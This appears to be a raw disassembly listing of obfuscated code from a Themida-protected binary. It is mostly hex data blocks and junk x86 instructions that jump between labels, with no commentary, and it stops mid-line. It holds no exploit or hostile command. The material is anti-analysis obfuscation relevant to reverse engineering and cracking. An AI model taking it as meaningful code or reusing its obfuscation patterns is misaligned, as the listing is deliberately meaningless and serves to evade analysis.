0B2E90000h dd 66000012h, 4492C5Ah, 0D18DE969h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A24E: ; CODE XREF: Themida_:00557E48j pop esp add edx, 605939F2h sub edx, esi push ebx mov ebx, 605939F2h sub edx, ebx jmp loc_55E9D9 ; --------------------------------------------------------------------------- dd 0C5FED5F6h, 0E9D6ED80h, 0FFFFADC2h, 46F5FBDh, 0D1EA8149h dd 128656Dh, 38DAE9EAh, 20040000h, 0CDE9E800h, 68FFFF9Ah dd 547Ah, 3374E9h, 0C3005A00h, 0FFE2D4E9h, 0E08950FFh dd 405h, 0DD81E900h db 2 dup(0FFh) word_55A2AA dw 52ACh ; DATA XREF: Themida_:005533C8o dd 7C2CF5B2h, 5FAE9h, 89535F00h, 0EF62E9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2BE: ; CODE XREF: Themida_:005565A3j pop esp sub esp, 4 mov [esp], ecx mov ecx, 0C4C16CDh and ecx, 6CB71A71h xor ecx, esi xor esi, ecx xor ecx, esi push 6413h mov [esp], esi not dword ptr [esp] mov esi, [esp] add esp, 4 xchg esi, ecx push ebp mov ebp, 0C041342h jmp loc_553EE9 ; --------------------------------------------------------------------------- loc_55A2FA: ; CODE XREF: Themida_:0055B9F7j or ecx, 677C6D79h add ecx, 6FF5297Ah and ecx, 117036F9h xor ecx, 5BD43E48h mov edx, ecx jmp loc_559D33 ; --------------------------------------------------------------------------- db 52h, 0BAh, 68h dd 2904B342h, 555D5AD0h, 2BDh, 18D42D00h, 0E801107Ah, 0F0A9E952h dd 0E954FFFFh, 363Bh, 24348B5Ah, 0E904C483h, 0FFFF91D7h dd 2414335Ch, 33241431h, 0E95C2414h, 472Bh, 295EF029h dd 0BB5355D8h, 56753F61h, 0CB9F37BDh, 587BE97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A36E: ; CODE XREF: Themida_:0055C670j add ecx, edi add ecx, 195A52B4h pop edi inc ecx add ecx, 52751F53h sub esp, 4 mov [esp], edi mov edi, 1278F895h xor ecx, edi pop edi jmp loc_55D045 ; --------------------------------------------------------------------------- dd 0E380C3FEh, 93F38074h, 805BD928h, 0E9809CC9h, 59C8282Fh dd 0A1049F2Ch, 0D8000204h, 3EA1E9h, 3C875A00h, 24248B24h dd 24048966h, 0C3807EB4h, 80E3289Ch, 58669CEBh, 8028C380h dd 81E919EBh, 0FFFFFFCFh, 48B2434h, 4C48324h, 0FFA846E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A3E5: ; CODE XREF: Themida_:005541D7j add esp, 4 jmp loc_555D36 ; --------------------------------------------------------------------------- db 66h, 89h, 14h dd 9C506624h, 0FFF62AE9h, 0C5B551FFh, 0B050CDFEh, 2E0C016h dd 0B151D0F6h, 0A4C180D6h, 0FFF66EE9h, 0F78059FFh, 0E9F80026h dd 0FFFF9216h, 4AB0F66h, 0F8E99C24h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A427: ; CODE XREF: Themida_:00555524j mov ecx, 612B142Ah jmp loc_556D48 ; --------------------------------------------------------------------------- byte_55A431 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00553388o dd 1858669Dh, 0E99C2404h, 0FFFFA843h ; --------------------------------------------------------------------------- loc_55A440: ; CODE XREF: Themida_:00559A29j pop eax push 32F7h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_55D36A ; --------------------------------------------------------------------------- loc_55A454: ; CODE XREF: Themida_:0055890Bj pop ecx sub ebp, edx mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, ebp jmp loc_55E4E2 ; --------------------------------------------------------------------------- loc_55A470: ; CODE XREF: Themida_:00554D46j push edx mov edx, esp add edx, 4 jmp loc_55BE00 ; --------------------------------------------------------------------------- loc_55A47E: ; CODE XREF: Themida_:005587F7j mov [esp], ecx push eax mov eax, 310A69D7h jmp loc_558E58 ; --------------------------------------------------------------------------- dd 34FFDF01h, 0E274E924h, 0BABFFFFFh, 0F7331246h, 0C1DFF7DFh dd 0C78105E7h, 0F6C08F35h, 1A63E9h, 241C8B00h, 0FD04C483h dd 0FA9E9h, 4C68100h, 83000000h, 348704C6h, 125DE924h db 2 dup(0) word_55A4CA dw 8B66h ; DATA XREF: Themida_:0055334Co dd 8153240Ch, 4ECh, 24248900h, 4240481h, 0FF000000h, 0E95B2434h dd 0FFFFBCA7h, 0D44BE95Fh, 0C481FFFFh, 4, 2474FF51h, 48F5904h dd 24248B24h, 0E92434FFh, 1ACDh, 0DBF68DB3h, 0E912C380h dd 0FFFFAE49h, 348BF001h, 4C48124h, 33000000h, 0CFE92404h dd 89000008h, 0B252240Ch, 0E3DEE9D5h, 4B68FFFFh, 0E900000Dh dd 0FFFFD459h, 8B66C830h, 8956240Ch, 4C681E6h, 83000000h dd 348702C6h, 0C3F8E924h, 15FFFFFh, 243C8BFDh, 4C481h dd 0E8E90000h, 83FFFFFBh, 335A04C4h, 34312434h, 24343324h dd 66F1F65Ch, 56CCB60Fh, 242968h, 24248900h, 1166E953h dd 0ED810000h, 0F932DD69h, 815DEA01h, 4C2h, 24148700h dd 6AE9535Ch, 68FFFFF5h, 17F6h, 0FFC4E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A5AD: ; CODE XREF: Themida_:00558644j pop edi xchg edx, [esp] pop esp push 10B2h mov [esp], edx mov edx, 28A630B0h add edx, 0FFFFFFFFh push esi jmp loc_5553CB ; --------------------------------------------------------------------------- loc_55A5C8: ; CODE XREF: Themida_:0055D5CCj push ebx mov ebx, 4 add eax, ebx pop ebx push eax push dword ptr [esp+4] mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 1ADCh mov [esp], ebp mov ebp, 0FFFFFFFFh sub [edi+24h], ebp push dword ptr [esp] jmp loc_5548DC ; --------------------------------------------------------------------------- dd 9DF2E95Eh, 0FB01FFFFh, 0FFFECFE9h, 1AFA68FFh, 0F7E90000h dd 5400000Dh, 4C18159h, 0E9000000h, 0FFFFA2DAh, 5C3368h dd 240C8900h, 0FF8EE2E9h, 0EC8357FFh, 24248904h, 45B9E9h dd 72CA8100h, 811CEC18h, 0AA040ACAh, 3CCA811Fh, 0E91A8133h dd 3450h, 105AB951h, 0C8216FE5h, 57C70559h, 90513B0h, 1E4F1B4h dd 0A563E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A67A: ; CODE XREF: Themida_:0055C9E8j mov esi, 3CC71A9Ah jmp loc_5541C7 ; --------------------------------------------------------------------------- dd 5B66FE28h, 0FFF9F0E9h, 24048FFFh, 0D224248Bh, 0E99C2424h dd 0FFFF8E83h ; --------------------------------------------------------------------------- loc_55A69C: ; CODE XREF: Themida_:0055F5EBj mov [esp], esi mov esi, 5BC51D97h mov ebx, 10C60091h push ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 push 0 sub [esp], ebx jmp loc_553CB2 ; --------------------------------------------------------------------------- db 81h dd 559173C3h, 5BDD018Ch, 4ED81h, 0FF550000h, 5D042474h dd 8B24048Fh, 61E92424h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A6E3: ; CODE XREF: Themida_:0055CFA4j xor [esp], ebp xor ebp, [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- byte_55A6F3 db 0FFh ; DATA XREF: Themida_:005533ACo dd 34FF2434h, 90E95824h, 0C1000029h, 814F08E7h, 1EFh, 72BD5500h dd 81216635h, 0E253BEC5h, 5DEF31E3h, 7B68B951h, 0CB2944C8h dd 0BCC38159h, 0E951F455h, 0FFFFD660h ; --------------------------------------------------------------------------- loc_55A72C: ; CODE XREF: Themida_:00555763j add ebx, 637A1160h xor ecx, ebx jmp loc_55C0E8 ; --------------------------------------------------------------------------- loc_55A739: ; CODE XREF: Themida_:0055AD5Ej sub [esp+4], edi push edx mov edx, 1D6759B5h jmp loc_5592DC ; --------------------------------------------------------------------------- loc_55A748: ; CODE XREF: Themida_:0055578Bj add esp, 4 push eax push 1521h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push esi mov esi, 1 and eax, esi push dword ptr [esp] jmp loc_55F5D3 ; --------------------------------------------------------------------------- word_55A77A dw 6855h ; DATA XREF: Themida_:00553378o dd 693E12F7h, 0FFED835Dh, 6B30E581h, 0E0E90426h, 34000020h dd 58C32831h, 0FFF9A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A799: ; CODE XREF: Themida_:00556C64j add edi, 4 xchg edi, [esp] pop esp push 5C6Dh mov [esp], ecx push ebx mov ebx, 3272556Ch xor ebx, 0AB91204h xor ebx, 5A4A5DDEh shl ebx, 5 sub ebx, 10DD0C6Eh push esi jmp loc_5578C9 ; --------------------------------------------------------------------------- db 1, 0FBh, 0E9h dd 0FFFFC70Ah, 0E95AB551h, 301Fh dword_55A7D8 dd 240C8B66h, 7DF86851h, 66E90000h ; DATA XREF: Themida_:005532FCo db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A7E7: ; CODE XREF: Themida_:0055BD47j mov esi, eax jmp loc_55860D ; --------------------------------------------------------------------------- loc_55A7EE: ; CODE XREF: Themida_:005571B5j add ecx, esi pop esi sub ecx, 3C6035DBh sub edi, ecx mov ecx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A810: ; CODE XREF: Themida_:005598ECj push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] jmp loc_554E9B ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 81000000h, 7252B3C7h, 0C2C78117h, 8102680Ah, 426165C7h dd 0E9CF0104h, 0FFFFDB02h, 4F0B68h, 241C8900h, 0BBh, 2B85000h dd 29083309h, 0D30158C3h, 902BE56h, 0EB810833h, 2795A1Ch dd 7CD4EB81h, 0F301287Fh, 7CD4C381h, 0C381287Fh, 2795A1Ch dd 8324348Bh, 3C8904ECh, 0F950E924h, 0CC80FFFFh, 0B3536677h dd 66DC30C1h, 58E3285Bh, 0D64DE95Ah, 0C483FFFFh, 4C48304h dd 31243433h, 34332434h, 70E95C24h, 2CFFFF8Ch, 0E604DCh dd 4E62CD0h, 5CB652DCh, 0FFC03CE9h, 4EB81FFh, 87000000h dd 895C241Ch, 67B3241Ch, 0E91ECB80h, 0FFFFC526h, 47E9E829h dd 68000007h, 6846h, 68243489h, 1D32h, 0FFC46DE9h, 0C3805CFFh dd 0F7B7E9A8h, 1DBBFFFFh, 0F77BCF03h, 27C381DBh, 0F7376527h dd 0E9DBF7D3h, 0FFFFBC25h, 4531E95Ch db 2 dup(0) word_55A916 dw 9C68h ; DATA XREF: Themida_:005532B0o dd 8900005Fh, 0FCE92414h, 54FFFF8Bh, 0FFEFB0E9h, 4C481FFh dd 52000000h, 0CE240481h, 0FF010009h, 835B2434h, 0C9E904C4h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A943: ; CODE XREF: Themida_:0055CAAAj push ebp mov ebp, esp add ebp, 4 jmp loc_555768 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 5932FF5Ch, 0B586E95Ah, 0E959FFFFh, 0FFFFB657h, 5259CE01h dd 0E012ECBAh, 0B951571Fh, 4C5454Dh, 0E981D1F7h, 8781B3FEh dd 119AE9h, 24048900h, 0E0F3CB8h, 66D7BF33h, 0C7317D36h dd 8124048Bh, 4C4h, 0C7814F00h, 2C53E30h, 7B1FB951h, 0CF017E71h dd 81DFF759h, 0A48943EFh, 0C0B4E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A9B6: ; CODE XREF: Themida_:005549AAj add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- db 1, 0D3h, 51h dd 8161C5B9h, 3E12E977h, 685B0000h, 2CCFh, 0F7243489h dd 348B2414h, 0E7895724h, 0FFA779E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A9E5: ; CODE XREF: Themida_:00557596j sub esp, 4 jmp loc_5567BE ; --------------------------------------------------------------------------- dd 0E9243C8Bh, 0FFFF9414h, 0EC815758h, 4, 83242489h, 0FF042404h dd 0E95F2434h, 0FFFFACB9h ; --------------------------------------------------------------------------- loc_55AA10: ; CODE XREF: Themida_:0055E5E0j add esi, edi jmp loc_558091 ; --------------------------------------------------------------------------- db 8Bh db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_557078 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 6C46BE05h, 7CDE6835h, 14890000h, 5D91BA24h dd 0E9554496h, 0FFFFB222h, 0E5143CBDh, 0BFF58130h, 89363C0Fh dd 0EBC15DEBh, 43EB8105h, 0C10CA007h, 0EBC104E3h, 0E9D3F707h dd 42D7h dword_55AA64 dd 240C8B66h, 4EC81h, 34890000h, 348B5424h, 39ABE924h ; DATA XREF: Themida_:00553418o dd 0C1800000h, 498E908h, 83550000h, 248904ECh, 8CBCE924h dd 0C481FFFFh, 4, 41DD68h, 243C8900h, 268h, 79E95F00h db 0B6h, 2 dup(0FFh) byte_55AAA7 db 66h ; DATA XREF: Themida_:00553434o dd 6824048Bh, 781h, 54240C89h, 1740E9h db 0 ; --------------------------------------------------------------------------- loc_55AAB9: ; CODE XREF: Themida_:0055DFF7j add eax, 0F0B39D22h add ebx, eax pop eax jmp loc_55DD10 ; --------------------------------------------------------------------------- word_55AAC6 dw 34FFh ; DATA XREF: Themida_:00553338o dd 0A55EE924h, 1C89FFFFh, 1C8B5424h, 14D7E924h db 2 dup(0) word_55AADA dw 77FFh ; DATA XREF: Themida_:005533C4o dd 59669D1Ch, 9C2414D3h, 0FF8A36E9h, 5BD931FFh, 8159CB29h dd 4D7260C3h, 81C32929h, 4D7260EBh, 0ADBE5629h, 0E945F540h dd 3A4Bh, 0E958C109h, 0FFFFE009h, 24143166h, 31665866h dd 33662404h, 31662404h, 0F8E92404h, 81FFFF89h, 0EFB8FFF7h dd 5FF92953h, 4DA5E9h, 8ABB5300h, 0E9136755h, 0FFFFBE9Dh dd 4B58C331h, 6731CB81h, 0EC8354F9h, 242C8904h, 9C0FC3BDh dd 2EDC10Bh, 0FFED814Dh, 0F7FFFFFFh, 0BF5753D5h, 6D6546B1h dd 733CC781h, 0EF81410Dh, 5BE22FD0h, 0CFF6F781h, 0FB89405Ah dd 5BDD315Fh, 0FFEAF8E9h, 2474FFFFh, 48F5A04h, 0D8295C24h dd 1E8568h, 243C8900h, 75193EBFh, 0B9CFE973h, 815AFFFFh dd 0DD4FFDEFh, 0ABE2E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ABAE: ; CODE XREF: Themida_:0055A122j push eax mov eax, 4 jmp loc_5594AD ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 4 db 43h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add ebp, ecx jmp loc_558467 ; --------------------------------------------------------------------------- loc_55ABD5: ; CODE XREF: Themida_:0055C0A5j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp sub esp, 4 mov [esp], edx push 7BA77143h pop edx inc edx jmp loc_556B10 ; --------------------------------------------------------------------------- loc_55ABF8: ; CODE XREF: Themida_:0055E3DBj xor al, ch pop cx jmp loc_55746E ; --------------------------------------------------------------------------- db 29h, 0F2h, 0E9h dd 0D2Bh, 0C380FCB4h, 9E75E939h, 0C483FFFFh, 24048F04h dd 8924248Bh, 34FF2404h, 2434FF24h, 44D9E9h db 0 ; --------------------------------------------------------------------------- loc_55AC29: ; CODE XREF: Themida_:0055EF2Dj pop ebx jmp loc_55BA0A ; --------------------------------------------------------------------------- loc_55AC2F: ; CODE XREF: Themida_:0055BA6Dj pop eax sub esi, 0DB2103Eh add esi, 4243D24Fh add ebp, esi pop esi jmp loc_55CFA1 ; --------------------------------------------------------------------------- loc_55AC44: ; CODE XREF: Themida_:0055DEADj or ebx, 5DC6462Ch jmp loc_555E2F ; --------------------------------------------------------------------------- db 2Dh dd 396272CBh, 0BA52D001h, 396272CBh, 2D5AD001h, 30C950A7h dd 32D4E95Ah, 0DD210000h, 5B2434FFh, 5704C483h, 8E12A6BFh dd 3EFC140h, 5FAABE56h, 0EE817C4Ch, 52E82211h, 0E95EF721h dd 0FFFFA3B0h ; --------------------------------------------------------------------------- loc_55AC90: ; CODE XREF: Themida_:0055B73Dj and esi, 4C41655Fh jmp loc_5571AF ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF887Fh, 5624348Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h dd 0FFFFAF44h, 5624048Bh, 0C681E689h, 4, 0FFEBA2E9h, 243C8BFFh dd 81E78957h, 4C7h, 0D851E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ACDA: ; CODE XREF: Themida_:00554687j add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp and ecx, esi mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_55F710 ; --------------------------------------------------------------------------- dd 42474FFh, 83243C8Bh, 48F04C4h, 299BE924h, 0E6890000h dd 4C681h, 57680000h, 89000069h, 0B868243Ch, 89000037h dd 2BE2434h, 0E9000000h, 0FFFFA8A2h, 0EA37E95Bh, 0EC81FFFFh dd 4, 0E9241C89h, 0FFFFE540h, 0CE37E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD4E: ; CODE XREF: Themida_:00555D9Ej mov edi, 16251FDBh push ebx mov ebx, 1D6759B5h sub [esp+8], ebx pop ebx jmp loc_55A739 ; --------------------------------------------------------------------------- db 55h dd 573859BDh, 0BAC68145h, 16AA640h, 48F2E9EEh, 0EC830000h dd 24148904h, 0DD6FC868h, 24148B2Eh, 4C481h, 0DAF70000h dd 35B8E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD92: ; CODE XREF: Themida_:00557C59j xchg edx, [esp] pop esp and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_55E2E8 ; --------------------------------------------------------------------------- db 0F7h dd 47ED81D5h, 8128B506h, 5F7957C5h, 6EDC172h, 79CDED81h dd 0E801951Ah, 0FF9876E9h, 6BA52FFh, 0E926A74Eh, 0FFFFEA6Ah dd 0A2EDEE81h, 0D6E95D8Ch, 0BE000034h, 45D25468h, 815EF501h dd 2B4C91C5h, 976E927h, 4310000h, 24043324h, 8B24248Bh dd 89522404h, 0E4BD55E2h, 81754065h, 0BF9A20C5h, 0FEC2818Ah dd 0E972807Fh, 1057h, 0E95FFA01h, 0FFFFC414h, 2D05BA52h dd 0D5895631h, 0CFDE95Ah, 29660000h, 0E95A66D3h, 0FFFFD93Ch dd 0E95AD001h, 3133h, 0F607E1C0h, 8BE980D9h, 59C800h, 48B58C6h dd 4C48124h, 30000000h, 0D5BBE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AE62: ; CODE XREF: Themida_:0055E0A0j sub ebx, 3CE754B3h add ebx, ecx add ebx, 3CE754B3h mov ecx, [esp] add esp, 4 push 74F0h jmp loc_559B3F ; --------------------------------------------------------------------------- loc_55AE80: ; CODE XREF: Themida_:00558705j mov edi, 2 add ebp, 75B8166Bh add ebp, edi sub ebp, 75B8166Bh pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov ax, [esp] push 3742h jmp loc_555558 ; --------------------------------------------------------------------------- dd 2C7E68h, 241C8900h, 778E68h, 24048900h, 53D8B652h, 0C7FE3DB7h dd 0E9EFEF80h, 0FFFF965Eh, 55BCEB81h, 0C38151F4h, 44C87B68h dd 148B665Fh, 0C4E3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AEE2: ; CODE XREF: Themida_:00553ECEj push ebx push eax mov eax, 0D6299C2Fh mov ebx, eax jmp loc_55F096 ; --------------------------------------------------------------------------- dd 4244481h, 4C332B42h, 322E958h, 148B0000h, 4A44E924h dd 0BA520000h, 4, 0A071E957h, 0C083FFFFh, 460E904h, 0F1800000h dd 4BF18020h, 8B59CA28h, 8950240Ch, 405E0h, 4050000h, 50000000h dd 42474FFh, 4C06E9h, 53D2F700h, 7FFC6FBBh, 0E9DA29F3h dd 2EECh, 4C4815Ah, 68000000h, 188Dh, 0BE243489h, 4, 2DD8E9h dd 2BC68100h, 811D78F5h, 870597F6h, 0D7C6813Dh, 81DFF7DBh dd 4ECh, 0CEDBE900h, 0E952FFFFh, 0FFFFDA85h, 93CEE951h dd 4105FFFFh, 550C2821h, 6A5813BDh, 0ED814D79h, 2E574C67h dd 69B1ED81h, 0F5813826h, 50951F35h, 55BCED81h, 8B05FF34h dd 2D580118h, 6B882492h, 0D2E9E829h db 0E3h, 2 dup(0FFh) off_55AFC3 dd offset dword_416000+168h ; DATA XREF: Themida_:0055344Co align 4 dd 89242C89h, 4C581E5h, 83000000h, 81E904EDh, 83FFFFEEh dd 545304C4h, 4C3815Bh, 57000000h, 4BFh, 5FFB0100h, 8B241C87h dd 34872424h, 8521E924h, 0DE01FFFFh, 2434335Bh, 33243431h dd 2AE92434h, 87000021h, 835C2414h, 3C8904ECh, 815F5424h dd 4C7h, 43F4E900h, 0DE2D0000h, 5614EF17h, 2048BA52h, 0D6892C5Eh dd 0ABAE9h, 0C7815F00h, 0B2D79141h, 19E9F989h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B047: ; CODE XREF: Themida_:00555FF8j add esp, 4 sub esp, 2 mov [esp], ax jmp loc_55B2E0 ; --------------------------------------------------------------------------- dw 0B1B8h dd 173BF03h, 0E95558C3h, 32Ch, 8704C083h, 815C2404h, 5F6D57F3h dd 0B12AE957h, 489FFFFh, 4B824h, 0C2010000h, 24148758h dd 4EC815Ch, 89000000h, 0C9E9240Ch, 0FFFFFFE9h, 0E95F2434h dd 0FFFFC55Dh, 0B7535066h, 3097B0CDh, 9C01E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B0AA: ; CODE XREF: Themida_:0055CAB9j add esp, 4 push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp] pop esp mov [esp], edx push edi mov edi, 0CED8D1C0h jmp loc_559CD5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 52000000h, 0DB70E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B0DE: ; CODE XREF: Themida_:0055738Ej pop ebp jmp loc_554AFF ; --------------------------------------------------------------------------- dd 104C483h, 241C8BD8h, 0FFB05FE9h, 64E959FFh, 8900003Ah dd 46E9241Ch, 66000002h, 0C0B60F58h, 0E987048Fh, 0FFFF8413h ; --------------------------------------------------------------------------- loc_55B10C: ; CODE XREF: Themida_:0055F6D7j mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] add esp, 4 push esi push ebp push 24EFh mov [esp], ecx mov ecx, 30BC4E98h push 4A3Ah mov [esp], eax mov eax, ecx mov ebp, eax pop eax pop ecx mov esi, 7FE2558Dh not esi push 4A1Fh mov [esp], ebp jmp loc_55FBFC ; --------------------------------------------------------------------------- db 0Ch dd 0FED8F692h, 0E98424C0h, 0FFFF998Ch, 0BF57FE01h, 2C5745A3h dd 5F5FFE01h, 8904EC83h, 2BF243Ch, 0E9000000h, 0FFFFD5CEh dd 0EBB55152h, 0FF8A0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B191: ; CODE XREF: Themida_:00558885j xchg ebp, [esp] jmp loc_55B686 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0D5h dd 813F3F0Eh, 204C81F2h, 72EA8177h, 31EB2BB6h, 68E95AD0h dd 0D000000Bh, 80D9F6E9h, 0C82809F1h, 0CFB25259h, 285AD000h dd 0E9CF2CD8h, 0FFFF8932h, 94BAE949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1D2: ; CODE XREF: Themida_:00555B01j mov ebp, eax pop eax dec ebp add ebp, 322B153Fh add ebp, 1D629E97h mov ebx, ebp jmp loc_55DCB8 ; --------------------------------------------------------------------------- loc_55B1E9: ; CODE XREF: Themida_:00558F83j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add edx, 3B3676E3h push ecx mov ecx, 4A5908CFh xor edx, ecx jmp loc_553C9D ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 0E9000000h, 0FFFFD849h, 2F96C581h, 0E9597DB8h, 3F78h dd 0C047E956h, 0DD01FFFFh, 8CE9555Bh, 5DFFFFA3h, 0FFA5EFE9h dd 5A5452FFh, 4C281h, 0EA810000h, 4, 5C241487h, 83242489h dd 5D042404h, 4C581h, 0C680000h, 8900005Bh, 0D2E9240Ch dd 5FFFFFCFh, 48BC701h, 4C48124h, 81000000h, 0CB5B88EFh dd 8BF831F7h, 0C481243Ch, 4, 57BA5257h, 8172BB34h, 356B88F2h dd 0F7DAF725h, 9667E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B296: ; CODE XREF: Themida_:00553D14j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edx, [esp] add esp, 4 pop edi push edi push 48083E9Ch pop edi jmp loc_558146 ; --------------------------------------------------------------------------- loc_55B2BC: ; CODE XREF: Themida_:0055B327j add eax, edi mov edi, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55601E ; --------------------------------------------------------------------------- dw 0F289h dd 0E3C6815Eh, 0E90B6613h, 0FFFFB052h ; --------------------------------------------------------------------------- loc_55B2E0: ; CODE XREF: Themida_:0055B051j push 6496h jmp loc_55BBA4 ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 685C2404h, 1C71h, 0FFD321E9h, 2EAC1FFh, 4894E9h dd 240C8B00h, 0E904C483h, 0FFFFC610h, 58E95E58h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B317: ; CODE XREF: Themida_:00553E9Cj pop ebx xor ebx, 4C1B07BCh mov edi, ebx pop ebx sub edi, 70C546D6h jmp loc_55B2BC ; --------------------------------------------------------------------------- dd 0FF387F88h, 835B2434h, 8B5904C4h, 0C481241Ch, 4, 0FF81DAE9h dd 8626BBFFh, 6856099Fh, 3F6Ah, 0E9241489h, 1063h, 8107E7C1h dd 0C00884C7h, 0FFFD0100h, 34FF2434h, 243C8B24h, 8104C483h dd 4C4h, 0A92E900h, 4870000h, 0C6D4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B382: ; CODE XREF: Themida_:0055FAE9j shr ebx, 3 sub ebx, 69E004F4h jmp loc_55C887 ; --------------------------------------------------------------------------- dd 0C73505BDh, 4E5C12Eh, 0FF8D87E9h, 91EE81FFh, 818E85CBh dd 0DF1629EAh, 26E8E95Ch, 0EC810000h, 4, 0B3241C89h, 0C445E963h dd 248BFFFFh, 0C896624h, 0B60F6624h, 9C5166C8h, 40CDE9h dd 8149E900h, 0C281FFFFh, 4, 4EC81h, 4890000h, 2B824h dd 1FE90000h, 8100003Ch, 0FF677FF3h, 5BD9012Eh, 0FFB130E9h dd 11EF81FFh, 58074629h, 4EF81h, 3C870000h, 0C858E924h dd 248BFFFFh, 0CC02E924h, 3C89FFFFh, 50526824h, 3C8B9259h dd 4C48124h, 81000000h, 8548B1C5h, 0E9FD015Eh, 0FC5h ; --------------------------------------------------------------------------- loc_55B438: ; CODE XREF: Themida_:0055F6AAj mov edx, 31FF606Ch xor edx, esi mov esi, [esp] jmp loc_55883A ; --------------------------------------------------------------------------- loc_55B447: ; CODE XREF: Themida_:0055DE0Dj mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55876D ; --------------------------------------------------------------------------- aQqCs3 db '·QQµcé<3',0 align 2 dw 6856h dd 7FBAh, 0B9240C89h, 12A66BF3h, 0BCAB46BEh, 63EE813Bh dd 811EB371h, 391E09EEh, 81CE290Ch, 391E09C6h, 63C6810Ch dd 591EB371h, 672768h, 243C8900h, 0BA42B9BFh, 0A0685674h dd 8BB45BFCh, 0C4812434h, 4, 0FFB6BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B4B1: ; CODE XREF: Themida_:0055EE88j sub esp, 4 mov [esp], edi jmp loc_5564A1 ; --------------------------------------------------------------------------- dd 5966CB28h, 805BDD30h, 0ED809EC5h, 48D04D1h, 0E9E82859h dd 0FFFFDD05h, 83241C8Bh, 0D82804C4h, 806CB151h, 0C8287AE9h dd 0EF0FE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B4EA: ; CODE XREF: Themida_:0055BCF6j push edx push 299Ah jmp loc_5588FA ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 57000000h, 42474FFh, 24048F5Fh, 4C4835Ch, 9C240401h dd 0FF800EE9h, 0E68956FFh, 4C681h, 0EE810000h, 2, 8904EC83h dd 74FF2434h, 8F5E0424h, 248B2404h, 1C896624h, 71B25224h dd 0F607E2C0h, 0BEC280D2h, 0FFB950E9h, 5AF388FFh, 4AFE9h dd 0C3816600h, 43665762h, 0F1F38166h, 0C381663Dh, 0E93850h dd 66000000h, 35A9E956h, 0EA880000h, 0FF8FB1E9h, 2434FFFFh dd 8E9BE959h db 2 dup(0FFh) word_55B57A dw 8B66h ; DATA XREF: Themida_:0055331Co dd 0EC81240Ch, 4, 89241489h, 685355E2h, 66571D4Bh, 35AABD5Bh dd 0ED81FB14h, 75501156h, 0C581DD01h, 75501156h, 40C5815Bh dd 